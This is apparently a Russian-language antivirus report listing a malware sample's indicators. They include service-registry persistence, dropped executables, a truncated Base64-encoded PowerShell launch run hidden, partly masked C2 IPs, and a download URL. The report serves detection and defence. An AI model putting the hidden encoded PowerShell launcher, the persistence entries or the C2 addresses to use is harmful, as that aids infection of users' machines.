Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\hdwwiz] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\hdwwiz] 'ImagePath' = '"%WINDIR%\SysWOW64\XAPOFX1_0\hdwwiz.exe"'
- 'hdwwiz' "%WINDIR%\SysWOW64\XAPOFX1_0\hdwwiz.exe"
- 'hdwwiz' %WINDIR%\SysWOW64\XAPOFX1_0\hdwwiz.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLAHQAYwB6AHYAdwAyAD0AKAAoACcASABkAHYANgAnACsAJwB1ACcAKQArACcAZQAwACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAUgBwAHIAbwBGAGkAbABlAFwAaQBwAEEAVQBEAG...
- %HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe
- %WINDIR%\syswow64\xapofx1_0\hdwwiz.exe
- %HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe в %WINDIR%\syswow64\xapofx1_0\hdwwiz.exe
- '22#.#47.247.145':80
- '45.##.16.230':7080
- http://zh###yasoft.ir/wp-content/file/ANEbg/
- http://45.##.16.230:7080/SHWe2Ql/QT6iLEczH2mBHcFAB/hBd57OfhnkXIo9iiZJs/Zlu9p2ghEtJt/vOj6Psk81dp/sv22wZkoXFRwzz/ via 45.##.16.230
- DNS ASK zh###yasoft.ir
- '%HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe'
- '%WINDIR%\syswow64\xapofx1_0\hdwwiz.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLAHQAYwB6AHYAdwAyAD0AKAAoACcASABkAHYANgAnACsAJwB1ACcAKQArACcAZQAwACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAUgBwAHIAbwBGAGkAbABlAFwAaQBwAEEAVQBEAG...' (со скрытым окном)